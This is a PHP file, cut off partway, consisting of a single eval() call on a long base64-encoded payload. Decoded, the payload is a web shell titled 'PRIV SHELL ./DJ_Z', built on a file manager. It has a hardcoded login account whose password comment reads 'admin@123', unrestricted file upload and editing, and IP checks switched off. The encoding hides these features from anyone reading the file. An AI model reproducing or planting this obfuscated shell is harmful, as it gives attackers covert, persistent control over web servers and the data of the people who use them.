<?php eval("?>".base64_decode("PD9waHANCi8vRGVmYXVsdCBDb25maWd1cmF0aW9uDQokQ09ORklHID0gJ3sibGFuZyI6ImVuIiwiZXJyb3JfcmVwb3J0aW5nIjpmYWxzZSwic2hvd19oaWRkZW4iOnRydWUsImhpZGVfQ29scyI6ZmFsc2UsInRoZW1lIjoibGlnaHQifSc7DQoNCmRlZmluZSgnVkVSU0lPTicsICcyLjUuMicpOw0KZGVmaW5lKCdBUFBfVElUTEUnLCAnUFJJViBTSEVMTCAuL0RKX1onKTsNCg0KJHVzZV9hdXRoID0gdHJ1ZTsNCg0KJGF1dGhfdXNlcnMgPSBhcnJheSgNCiAgICAnZGp6MTMzNycgPT4gJyQyeSQxMCQvSy5oak5yODRsTE5EdDhmVFhqb0kuREJwNlBwZXlvSi5tR3dyckx1Q1pmQXdmU0FHcWhPVycsIC8vYWRtaW5AMTIzDQogICApOw0KJHJlYWRvbmx5X3VzZXJzID0gYXJyYXkoDQogICAgJ3VzZXInDQopOw0KJGdsb2JhbF9yZWFkb25seSA9IGZhbHNlOw0KJGRpcmVjdG9yaWVzX3VzZXJzID0gYXJyYXkoKTsNCiR1c2VfaGlnaGxpZ2h0anMgPSB0cnVlOw0KJGhpZ2hsaWdodGpzX3N0eWxlID0gJ3ZzJzsNCiRlZGl0X2ZpbGVzID0gdHJ1ZTsNCiRkZWZhdWx0X3RpbWV6b25lID0gJ0V0Yy9VVEMnOyAvLyBVVEMNCi8vIFJvb3QgcGF0aCBmb3IgZmlsZSBtYW5hZ2VyDQovLyB1c2UgYWJzb2x1dGUgcGF0aCBvZiBkaXJlY3RvcnkgaS5lOiAnL3Zhci93d3cvZm9sZGVyJyBvciAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLicvZm9sZGVyJw0KJHJvb3RfcGF0aCA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107DQoNCi8vIFJvb3QgdXJsIGZvciBsaW5rcyBpbiBmaWxlIG1hbmFnZXIuUmVsYXRpdmUgdG8gJGh0dHBfaG9zdC4gVmFyaWFudHM6ICcnLCAncGF0aC90by9zdWJmb2xkZXInDQovLyBXaWxsIG5vdCB3b3JraW5nIGlmICRyb290X3BhdGggd2lsbCBiZSBvdXRzaWRlIG9mIHNlcnZlciBkb2N1bWVudCByb290DQokcm9vdF91cmwgPSAnJzsNCg0KLy8gU2VydmVyIGhvc3RuYW1lLiBDYW4gc2V0IG1hbnVhbGx5IGlmIHdyb25nDQovLyAkX1NFUlZFUlsnSFRUUF9IT1NUJ10uJy9mb2xkZXInDQokaHR0cF9ob3N0ID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOw0KDQovLyBpbnB1dCBlbmNvZGluZyBmb3IgaWNvbnYNCiRpY29udl9pbnB1dF9lbmNvZGluZyA9ICdVVEYtOCc7DQoNCi8vIGRhdGUoKSBmb3JtYXQgZm9yIGZpbGUgbW9kaWZpY2F0aW9uIGRhdGUNCi8vIERvYyAtIGh0dHBzOi8vd3d3LnBocC5uZXQvbWFudWFsL2VuL2Z1bmN0aW9uLmRhdGUucGhwDQokZGF0ZXRpbWVfZm9ybWF0ID0gJ20vZC9ZIGc6aSBBJzsNCg0KLy8gQWxsb3dlZCBmaWxlIGV4dGVuc2lvbnMgZm9yIGNyZWF0ZSBhbmQgcmVuYW1lIGZpbGVzDQovLyBlLmcuICd0eHQsaHRtbCxjc3MsanMnDQokYWxsb3dlZF9maWxlX2V4dGVuc2lvbnMgPSAnJzsNCg0KLy8gQWxsb3dlZCBmaWxlIGV4dGVuc2lvbnMgZm9yIHVwbG9hZCBmaWxlcw0KLy8gZS5nLiAnZ2lmLHBuZyxqcGcsaHRtbCx0eHQnDQokYWxsb3dlZF91cGxvYWRfZXh0ZW5zaW9ucyA9ICcnOw0KDQovLyBGYXZpY29uIHBhdGguIFRoaXMgY2FuIGJlIGVpdGhlciBhIGZ1bGwgdXJsIHRvIGFuIC5QTkcgaW1hZ2UsIG9yIGEgcGF0aCBiYXNlZCBvbiB0aGUgZG9jdW1lbnQgcm9vdC4NCi8vIGZ1bGwgcGF0aCwgZS5nIGh0dHA6Ly9leGFtcGxlLmNvbS9mYXZpY29uLnBuZw0KLy8gbG9jYWwgcGF0aCwgZS5nIGltYWdlcy9pY29ucy9mYXZpY29uLnBuZw0KJGZhdmljb25fcGF0aCA9ICcnOw0KDQovLyBGaWxlcyBhbmQgZm9sZGVycyB0byBleGNsdWRlZCBmcm9tIGxpc3RpbmcNCi8vIGUuZy4gYXJyYXkoJ215ZmlsZS5odG1sJywgJ3BlcnNvbmFsLWZvbGRlcicsICcqLnBocCcsIC4uLikNCiRleGNsdWRlX2l0ZW1zID0gYXJyYXkoKTsNCg0KLy8gT25saW5lIG9mZmljZSBEb2NzIFZpZXdlcg0KLy8gQXZhaWxhYmUgcnVsZXMgYXJlICdnb29nbGUnLCAnbWljcm9zb2Z0JyBvciBmYWxzZQ0KLy8gR29vZ2xlID0+IFZpZXcgZG9jdW1lbnRzIHVzaW5nIEdvb2dsZSBEb2NzIFZpZXdlcg0KLy8gTWljcm9zb2Z0ID0+IFZpZXcgZG9jdW1lbnRzIHVzaW5nIE1pY3Jvc29mdCBXZWIgQXBwcyBWaWV3ZXINCi8vIGZhbHNlID0+IGRpc2FibGUgb25saW5lIGRvYyB2aWV3ZXINCiRvbmxpbmVfdmlld2VyID0gJ2dvb2dsZSc7DQoNCi8vIFN0aWNreSBOYXYgYmFyDQovLyB0cnVlID0+IGVuYWJsZSBzdGlja3kgaGVhZGVyDQovLyBmYWxzZSA9PiBkaXNhYmxlIHN0aWNreSBoZWFkZXINCiRzdGlja3lfbmF2YmFyID0gdHJ1ZTsNCg0KLy8gTWF4aW11bSBmaWxlIHVwbG9hZCBzaXplDQovLyBJbmNyZWFzZSB0aGUgZm9sbG93aW5nIHZhbHVlcyBpbiBwaHAuaW5pIHRvIHdvcmsgcHJvcGVybHkNCi8vIG1lbW9yeV9saW1pdCwgdXBsb2FkX21heF9maWxlc2l6ZSwgcG9zdF9tYXhfc2l6ZQ0KJG1heF91cGxvYWRfc2l6ZV9ieXRlcyA9IDUwMDAwMDAwMDA7IC8vIHNpemUgNSwwMDAsMDAwLDAwMCBieXRlcyAofjVHQikNCg0KLy8gUG9zc2libGUgcnVsZXMgYXJlICdPRkYnLCAnQU5EJyBvciAnT1InDQovLyBPRkYgPT4gRG9uJ3QgY2hlY2sgY29ubmVjdGlvbiBJUCwgZGVmYXVsdHMgdG8gT0ZGDQovLyBBTkQgPT4gQ29ubmVjdGlvbiBtdXN0IGJlIG9uIHRoZSB3aGl0ZWxpc3QsIGFuZCBub3Qgb24gdGhlIGJsYWNrbGlzdA0KLy8gT1IgPT4gQ29ubmVjdGlvbiBtdXN0IGJlIG9uIHRoZSB3aGl0ZWxpc3QsIG9yIG5vdCBvbiB0aGUgYmxhY2tsaXN0DQokaXBfcnVsZXNldCA9ICdPRkYnOw0KDQovLyBTaG91bGQgdXNlcnMgYmUgbm90aWZpZWQgb2YgdGhlaXIgYmxvY2s/DQokaXBfc2lsZW50ID0gdHJ1ZTsNCg0KLy8gSVAtYWRkcmVzc2VzLCBib3RoIGlwdjQgYW5kIGlwdjYNCiRpcF93aGl0ZWxpc3QgPSBhcnJheSgNCiAgICAnMTI3LjAuMC4xJywgICAgLy8gbG9jYWwgaXB2NA0KICAgICc6OjEnICAgICAgICAgICAvLyBsb2NhbCBpcHY2DQopOw0KDQovLyBJUC1hZGRyZXNzZXMsIGJvdGggaXB2NCBhbmQgaXB2Ng0KJGlwX2JsYWNrbGlzdCA9IGFycmF5KA0KICAgICcwLjAuMC4wJywgICAgICAvLyBub24tcm91dGFibGUgbWV0YSBpcHY0DQogICAgJzo6JyAgICAgICAgICAgIC8vIG5vbi1yb3V0YWJsZSBtZXRhIGlwdjYNCik7DQoNCi8vIGlmIFVzZXIgaGFzIHRoZSBleHRlcm5hbCBjb25maWcgZmlsZSwgdHJ5IHRvIHVzZSBpdCB0byBvdmVycmlkZSB0aGUgZGVmYXVsdCBjb25maWcgYWJvdmUgW2NvbmZpZy5waHBdDQovLyBzYW1wbGUgY29uZmlnIC0gaHR0cHM6Ly90aW55ZmlsZW1hbmFnZXIuZ2l0aHViLmlvL2NvbmZpZy1zYW1wbGUudHh0DQokY29uZmlnX2ZpbGUgPSBfX0RJUl9fLicvY29uZmlnLnBocCc7DQppZiAoaXNfcmVhZGFibGUoJGNvbmZpZ19maWxlKSkgew0KICAgIEBpbmNsdWRlKCRjb25maWdfZmlsZSk7DQp9DQoNCi8vIC0tLSBFRElUIEJFTE9XIENBUkVGVUxMWSBPUiBETyBOT1QgRURJVCBBVCBBTEwgLS0tDQoNCi8vIG1heCB1cGxvYWQgZmlsZSBzaXplDQpkZWZpbmUoJ01BWF9VUExPQURfU0laRScsICRtYXhfdXBsb2FkX3NpemVfYnl0ZXMpOw0KDQovLyBwcml2YXRlIGtleSBhbmQgc2Vzc2lvbiBuYW1lIHRvIHN0b3JlIHRvIHRoZSBzZXNzaW9uDQppZiAoICFkZWZpbmVkKCAnRk1fU0VTU0lPTl9JRCcpKSB7DQogICAgZGVmaW5lKCdGTV9TRVNTSU9OX0lEJywgJ2ZpbGVtYW5hZ2VyJyk7DQp9DQoNCi8vIENvbmZpZ3VyYXRpb24NCiRjZmcgPSBuZXcgRk1fQ29uZmlnKCk7DQoNCi8vIERlZmF1bHQgbGFuZ3VhZ2UNCiRsYW5nID0gaXNzZXQoJGNmZy0+ZGF0YVsnbGFuZyddKSA/ICRjZmctPmRhdGFbJ2xhbmcnXSA6ICdlbic7DQoNCi8vIFNob3cgb3IgaGlkZSBmaWxlcyBhbmQgZm9sZGVycyB0aGF0IHN0YXJ0cyB3aXRoIGEgZG90DQokc2hvd19oaWRkZW5fZmlsZXMgPSBpc3NldCgkY2ZnLT5kYXRhWydzaG93X2hpZGRlbiddKSA/ICRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10gOiB0cnVlOw0KDQovLyBQSFAgZXJyb3IgcmVwb3J0aW5nIC0gZmFsc2UgPSBUdXJucyBvZmYgRXJyb3JzLCB0cnVlID0gVHVybnMgb24gRXJyb3JzDQokcmVwb3J0X2Vycm9ycyA9IGlzc2V0KCRjZmctPmRhdGFbJ2Vycm9yX3JlcG9ydGluZyddKSA/ICRjZmctPmRhdGFbJ2Vycm9yX3JlcG9ydGluZyddIDogdHJ1ZTsNCg0KLy8gSGlkZSBQZXJtaXNzaW9ucyBhbmQgT3duZXIgY29scyBpbiBmaWxlLWxpc3RpbmcNCiRoaWRlX0NvbHMgPSBpc3NldCgkY2ZnLT5kYXRhWydoaWRlX0NvbHMnXSkgPyAkY2ZnLT5kYXRhWydoaWRlX0NvbHMnXSA6IHRydWU7DQoNCi8vIFRoZW1lDQokdGhlbWUgPSBpc3NldCgkY2ZnLT5kYXRhWyd0aGVtZSddKSA/ICRjZmctPmRhdGFbJ3RoZW1lJ10gOiAnbGlnaHQnOw0KDQpkZWZpbmUoJ0ZNX1RIRU1FJywgJHRoZW1lKTsNCg0KLy9hdmFpbGFibGUgbGFuZ3VhZ2VzDQokbGFuZ19saXN0ID0gYXJyYXkoDQogICAgJ2VuJyA9PiAnRW5nbGlzaCcNCik7DQoNCmlmICgkcmVwb3J0X2Vycm9ycyA9PSB0cnVlKSB7DQogICAgQGluaV9zZXQoJ2Vycm9yX3JlcG9ydGluZycsIEVfQUxMKTsNCiAgICBAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAxKTsNCn0gZWxzZSB7DQogICAgQGluaV9zZXQoJ2Vycm9yX3JlcG9ydGluZycsIEVfQUxMKTsNCiAgICBAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsNCn0NCg0KLy8gaWYgZm0gaW5jbHVkZWQNCmlmIChkZWZpbmVkKCdGTV9FTUJFRCcpKSB7DQogICAgJHVzZV9hdXRoID0gZmFsc2U7DQogICAgJHN0aWNreV9uYXZiYXIgPSBmYWxzZTsNCn0gZWxzZSB7DQogICAgQHNldF90aW1lX2xpbWl0KDYwMCk7DQoNCiAgICBkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCRkZWZhdWx0X3RpbWV6b25lKTsNCg0KICAgIGluaV9zZXQoJ2RlZmF1bHRfY2hhcnNldCcsICdVVEYtOCcpOw0KICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc1LjYuMCcsICc8JykgJiYgZnVuY3Rpb25fZXhpc3RzKCdtYl9pbnRlcm5hbF9lbmNvZGluZycpKSB7DQogICAgICAgIG1iX2ludGVybmFsX2VuY29kaW5nKCdVVEYtOCcpOw0KICAgIH0NCiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdtYl9yZWdleF9lbmNvZGluZycpKSB7DQogICAgICAgIG1iX3JlZ2V4X2VuY29kaW5nKCdVVEYtOCcpOw0KICAgIH0NCg0KICAgIHNlc3Npb25fY2FjaGVfbGltaXRlcignJyk7DQogICAgc2Vzc2lvbl9uYW1lKEZNX1NFU1NJT05fSUQgKTsNCiAgICBmdW5jdGlvbiBzZXNzaW9uX2Vycm9yX2hhbmRsaW5nX2Z1bmN0aW9uKCRjb2RlLCAkbXNnLCAkZmlsZSwgJGxpbmUpIHsNCiAgICAgICAgLy8gUGVybWlzc2lvbiBkZW5pZWQgZm9yIGRlZmF1bHQgc2Vzc2lvbiwgdHJ5IHRvIGNyZWF0ZSBhIG5ldyBvbmUNCiAgICAgICAgaWYgKCRjb2RlID09IDIpIHsNCiAgICAgICAgICAgIHNlc3Npb25fYWJvcnQoKTsNCiAgICAgICAgICAgIHNlc3Npb25faWQoc2Vzc2lvbl9jcmVhdGVfaWQoKSk7DQogICAgICAgICAgICBAc2Vzc2lvbl9zdGFydCgpOw0KICAgICAgICB9DQogICAgfQ0KICAgIHNldF9lcnJvcl9oYW5kbGVyKCdzZXNzaW9uX2Vycm9yX2hhbmRsaW5nX2Z1bmN0aW9uJyk7DQogICAgc2Vzc2lvbl9zdGFydCgpOw0KICAgIHJlc3RvcmVfZXJyb3JfaGFuZGxlcigpOw0KfQ0KDQovL0dlbnJhdGluZyBDU1JGIFRva2VuDQppZiAoZW1wdHkoJF9TRVNTSU9OWyd0b2tlbiddKSkgew0KICAgICRfU0VTU0lPTlsndG9rZW4nXSA9IGJpbjJoZXgocmFuZG9tX2J5dGVzKDMyKSk7DQp9DQoNCmlmIChlbXB0eSgkYXV0aF91c2VycykpIHsNCiAgICAkdXNlX2F1dGggPSBmYWxzZTsNCn0NCg0KJGlzX2h0dHBzID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBTJ10pICYmICgkX1NFUlZFUlsnSFRUUFMnXSA9PSAnb24nIHx8ICRfU0VSVkVSWydIVFRQUyddID09IDEpDQogICAgfHwgaXNzZXQoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSkgJiYgJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSA9PSAnaHR0cHMnOw0KDQovLyB1cGRhdGUgJHJvb3RfdXJsIGJhc2VkIG9uIHVzZXIgc3BlY2lmaWMgZGlyZWN0b3JpZXMNCmlmIChpc3NldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKSAmJiAhZW1wdHkoJGRpcmVjdG9yaWVzX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dKSkgew0KICAgICR3ZCA9IGZtX2NsZWFuX3BhdGgoZGlybmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSkpOw0KICAgICRyb290X3VybCA9ICAkcm9vdF91cmwuJHdkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJGRpcmVjdG9yaWVzX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dOw0KfQ0KLy8gY2xlYW4gJHJvb3RfdXJsDQokcm9vdF91cmwgPSBmbV9jbGVhbl9wYXRoKCRyb290X3VybCk7DQoNCi8vIGFicyBwYXRoIGZvciBzaXRlDQpkZWZpbmVkKCdGTV9ST09UX1VSTCcpIHx8IGRlZmluZSgnRk1fUk9PVF9VUkwnLCAoJGlzX2h0dHBzID8gJ2h0dHBzJyA6ICdodHRwJykgLiAnOi8vJyAuICRodHRwX2hvc3QgLiAoIWVtcHR5KCRyb290X3VybCkgPyAnLycgLiAkcm9vdF91cmwgOiAnJykpOw0KZGVmaW5lZCgnRk1fU0VMRl9VUkwnKSB8fCBkZWZpbmUoJ0ZNX1NFTEZfVVJMJywgKCRpc19odHRwcyA/ICdodHRwcycgOiAnaHR0cCcpIC4gJzovLycgLiAkaHR0cF9ob3N0IC4gJF9TRVJWRVJbJ1BIUF9TRUxGJ10pOw0KDQovLyBsb2dvdXQNCmlmIChpc3NldCgkX0dFVFsnbG9nb3V0J10pKSB7DQogICAgdW5zZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSk7DQogICAgdW5zZXQoICRfU0VTU0lPTlsndG9rZW4nXSk7IA0KICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMKTsNCn0NCg0KLy8gVmFsaWRhdGUgY29ubmVjdGlvbiBJUA0KaWYgKCRpcF9ydWxlc2V0ICE9ICdPRkYnKSB7DQogICAgZnVuY3Rpb24gZ2V0Q2xpZW50SVAoKSB7DQogICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKCdIVFRQX0NGX0NPTk5FQ1RJTkdfSVAnLCAkX1NFUlZFUikpIHsNCiAgICAgICAgICAgIHJldHVybiAgJF9TRVJWRVJbIkhUVFBfQ0ZfQ09OTkVDVElOR19JUCJdOw0KICAgICAgICB9ZWxzZSBpZiAoYXJyYXlfa2V5X2V4aXN0cygnSFRUUF9YX0ZPUldBUkRFRF9GT1InLCAkX1NFUlZFUikpIHsNCiAgICAgICAgICAgIHJldHVybiAgJF9TRVJWRVJbIkhUVFBfWF9GT1JXQVJERURfRk9SIl07DQogICAgICAgIH1lbHNlIGlmIChhcnJheV9rZXlfZXhpc3RzKCdSRU1PVEVfQUREUicsICRfU0VSVkVSKSkgew0KICAgICAgICAgICAgcmV0dXJuICRfU0VSVkVSWydSRU1PVEVfQUREUiddOw0KICAgICAgICB9ZWxzZSBpZiAoYXJyYXlfa2V5X2V4aXN0cygnSFRUUF9DTElFTlRfSVAnLCAkX1NFUlZFUikpIHsNCiAgICAgICAgICAgIHJldHVybiAkX1NFUlZFUlsnSFRUUF9DTElFTlRfSVAnXTsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gJyc7DQogICAgfQ0KDQogICAgJGNsaWVudElwID0gZ2V0Q2xpZW50SVAoKTsNCiAgICAkcHJvY2VlZCA9IGZhbHNlOw0KICAgICR3aGl0ZWxpc3RlZCA9IGluX2FycmF5KCRjbGllbnRJcCwgJGlwX3doaXRlbGlzdCk7DQogICAgJGJsYWNrbGlzdGVkID0gaW5fYXJyYXkoJGNsaWVudElwLCAkaXBfYmxhY2tsaXN0KTsNCg0KICAgIGlmKCRpcF9ydWxlc2V0ID09ICdBTkQnKXsNCiAgICAgICAgaWYoJHdoaXRlbGlzdGVkID09IHRydWUgJiYgJGJsYWNrbGlzdGVkID09IGZhbHNlKXsNCiAgICAgICAgICAgICRwcm9jZWVkID0gdHJ1ZTsNCiAgICAgICAgfQ0KICAgIH0gZWxzZQ0KICAgIGlmKCRpcF9ydWxlc2V0ID09ICdPUicpew0KICAgICAgICAgaWYoJHdoaXRlbGlzdGVkID09IHRydWUgfHwgJGJsYWNrbGlzdGVkID09IGZhbHNlKXsNCiAgICAgICAgICAgICRwcm9jZWVkID0gdHJ1ZTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIGlmKCRwcm9jZWVkID09IGZhbHNlKXsNCiAgICAgICAgdHJpZ2dlcl9lcnJvcignVXNlciBjb25uZWN0aW9uIGRlbmllZCBmcm9tOiAnIC4gJGNsaWVudElwLCBFX1VTRVJfV0FSTklORyk7DQoNCiAgICAgICAgaWYoJGlwX3NpbGVudCA9PSBmYWxzZSl7DQogICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnQWNjZXNzIGRlbmllZC4gSVAgcmVzdHJpY3Rpb24gYXBwbGljYWJsZScpLCAnZXJyb3InKTsNCiAgICAgICAgICAgIGZtX3Nob3dfaGVhZGVyX2xvZ2luKCk7DQogICAgICAgICAgICBmbV9zaG93X21lc3NhZ2UoKTsNCiAgICAgICAgfQ0KICAgICAgICBleGl0KCk7DQogICAgfQ0KfQ0KDQovLyBDaGVja2luZyBpZiB0aGUgdXNlciBpcyBsb2dnZWQgaW4gb3Igbm90LiBJZiBub3QsIGl0IHdpbGwgc2hvdyB0aGUgbG9naW4gZm9ybS4NCmlmICgkdXNlX2F1dGgpIHsNCiAgICBpZiAoaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSwgJGF1dGhfdXNlcnNbJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXV0pKSB7DQogICAgICAgIC8vIExvZ2dlZA0KICAgIH0gZWxzZWlmIChpc3NldCgkX1BPU1RbJ2ZtX3VzciddLCAkX1BPU1RbJ2ZtX3B3ZCddLCAkX1BPU1RbJ3Rva2VuJ10pKSB7DQogICAgICAgIC8vIExvZ2dpbmcgSW4NCiAgICAgICAgc2xlZXAoMSk7DQogICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3dvcmRfdmVyaWZ5JykpIHsNCiAgICAgICAgICAgIGlmIChpc3NldCgkYXV0aF91c2Vyc1skX1BPU1RbJ2ZtX3VzciddXSkgJiYgaXNzZXQoJF9QT1NUWydmbV9wd2QnXSkgJiYgcGFzc3dvcmRfdmVyaWZ5KCRfUE9TVFsnZm1fcHdkJ10sICRhdXRoX3VzZXJzWyRfUE9TVFsnZm1fdXNyJ11dKSAmJiB2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7DQogICAgICAgICAgICAgICAgJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSA9ICRfUE9TVFsnZm1fdXNyJ107DQogICAgICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0xvZ2luIFN1a3NlcyBCcmVlIScpKTsNCiAgICAgICAgICAgICAgICBmbV9yZWRpcmVjdChGTV9ST09UX1VSTCAuICRfU0VSVkVSWydSRVFVRVNUX1VSSSddKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgdW5zZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSk7DQogICAgICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ3VzZXJuYW1lIGFuZCBwYXNzd29yZCBpbnZhbGlkIGN1eWghJyksICdlcnJvcicpOw0KICAgICAgICAgICAgICAgIGZtX3JlZGlyZWN0KEZNX1JPT1RfVVJMIC4gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ3Bhc3N3b3JkX2hhc2ggbm90IHN1cHBvcnRlZCwgVXBncmFkZSBQSFAgdmVyc2lvbicpLCAnZXJyb3InKTs7DQogICAgICAgIH0NCiAgICB9IGVsc2Ugew0KICAgICAgICAvLyBGb3JtDQogICAgICAgIHVuc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ10pOw0KICAgICAgICBmbV9zaG93X2hlYWRlcl9sb2dpbigpOw0KICAgICAgICA/Pg0KICAgICAgICA8c2VjdGlvbiBjbGFzcz0iaC0xMDAiPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIGgtMTAwIj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3cganVzdGlmeS1jb250ZW50LW1kLWNlbnRlciBoLTEwMCI+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQtd3JhcHBlciI+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkIGZhdCA8P3BocCBlY2hvIGZtX2dldF90aGVtZSgpOyA/PiI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZC1ib2R5Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gY2xhc3M9ImZvcm0tc2lnbmluIiBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBhdXRvY29tcGxldGU9Im9mZiI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtYi0zIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImJyYW5kIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHN2ZyB2ZXJzaW9uPSIxLjAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgTTEwMDggd2lkdGg9IjEwMCUiIGhlaWdodD0iODBweCIgdmlld0JveD0iMCAwIDIzOC4wMDAwMDAgMTQwLjAwMDAwMCIgYXJpYS1sYWJlbD0ie1NMb2VyRH1QUklWIFNIRUxMIC4vREpfWiI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZyB0cmFuc2Zvcm09InRyYW5zbGF0ZSgwLjAwMDAwMCwxNDAuMDAwMDAwKSBzY2FsZSgwLjEwMDAwMCwtMC4xMDAwMDApIiBmaWxsPSIjMDAwMDAwIiBzdHJva2U9Im5vbmUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwYXRoIGQ9Ik0xNjAgNzAwIGwwIC02MDAgMTEwIDAgMTEwIDAgMCAyNjAgMCAyNjAgNzAgMCA3MCAwIDAgLTI2MCAwIC0yNjAgMTEwIDAgMTEwIDAgMCA2MDAgMCA2MDAgLTExMCAwIC0xMTAgMCAwIC0yNjAgMCAtMjYwIC03MCAwIC03MCAwIDAgMjYwIDAgMjYwIC0xMTAgMCAtMTEwIDAgMCAtNjAweiIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwYXRoIGZpbGw9IiMwMDM1MDAiIGQ9Ik0xMDA4IDEyMjcgbC0xMDggLTcyIDAgLTExNyAwIC0xMTggMTEwIDAgMTEwIDAgMCAxMTAgMCAxMTAgNzAgMCA3MCAwIDAgLTE4MCAwIC0xODAgLTEyNSAwIGMtNjkgMCAtMTI1IC0zIC0xMjUgLTYgMCAtMyAyMyAtMzkgNTIgLTgwIGw1MiAtNzQgNzMgMCA3MyAwIDAgLTE4NSAwIC0xODUgLTcwIDAgLTcwIDAgMCAxMTUgMCAxMTUgLTExMCAwIC0xMTAgMCAwIC0xOTAgMCAtMTkwIDE4MSAwIDE4MSAwIDEwOSA3MyAxMDggNzIgMSAxODEgMCAxODEgLTY5IDQ4IC02OCA0OSA2OCA1MCA2OSA0OSAwIDI0OSAwIDI0OCAtMTgyIC0xIC0xODMgMCAtMTA3IC03MnoiLz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cGF0aCBkPSJNMTY0MCA3MDAgbDAgLTYwMCAxMTAgMCAxMTAgMCAwIDIwOCAwIDIwOCAzNSAzNCAzNSAzNCAzNSAtMzQgMzUgLTM0IDAgLTIwOCAwIC0yMDggMTEwIDAgMTEwIDAgMCAyMTIgMCAyMTMgLTg3IDg3IC04OCA4OCA4OCA4OCA4NyA4NyAwIDIxMyAwIDIxMiAtMTEwIDAgLTExMCAwIDAgLTIwOCAwIC0yMDggLTcwIC02OSAtNzAgLTY5IDAgMjc3IDAgMjc3IC0xMTAgMCAtMTEwIDAgMCAtNjAweiIvPjwvZz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zdmc+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGV4dC1jZW50ZXIiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDEgY2xhc3M9ImNhcmQtdGl0bGUiPjw/cGhwIGVjaG8gQVBQX1RJVExFOyA/PjwvaDE+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxociAvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWItMyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iZm1fdXNyIiBjbGFzcz0icGItMiI+PD9waHAgZWNobyBsbmcoJ1VzZXJuYW1lJyk7ID8+PC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImZvcm0tY29udHJvbCIgaWQ9ImZtX3VzciIgbmFtZT0iZm1fdXNyIiByZXF